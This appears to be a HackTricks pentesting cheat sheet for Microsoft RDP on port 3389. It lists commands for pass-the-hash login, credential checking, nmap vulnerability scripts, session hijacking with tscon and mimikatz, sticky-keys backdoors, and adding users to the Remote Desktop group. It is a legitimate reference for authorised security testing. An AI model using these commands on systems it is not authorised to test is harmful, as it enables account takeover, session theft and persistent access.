3389 - Pentesting RDP

Basic Information

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software (from here).

Default port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Connect with known credentials/hash

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp /u:[domain\]<username> /p:<password> /v:<IP>
xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>

Brute force

Be careful, you could lock accounts

Check known credentials against RDP services

rdp_check.py from impacket let you check if some credentials are valid for a RDP service:

rdp_check <domain>/<name>:<password>@<IP>

Nmap scripts

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions).

Post-Exploitation

JoelGMSec/AutoRDPwnGitHub

Launch CMD with other cretentials so they are used in the network

You can launch a new cmd to wich new credentials will be attached so, every interaction this new shell makes with the network will use the new credentials:

runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" #The password will be prompted

Session stealing

With Administrator rights you can access any opened RDP session by any user without need to know the password of the owner.

Get openned sessions:

query user

Access to the selected session

tscon <ID> /dest:<SESSIONNAME>

Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.

Important: When you access an active RDP sessions you will kickoff the user that was using it.

You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)

Mimikatz

You could also use mimikatz to do this:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Combining this technique with stickykeys or utilman you will be able to access a administrative CMD and any RDP session anytime

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for RDP
  Note: |
    Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software 

    https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
  Name: Nmap
  Description: Nmap with RDP Scripts
  Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}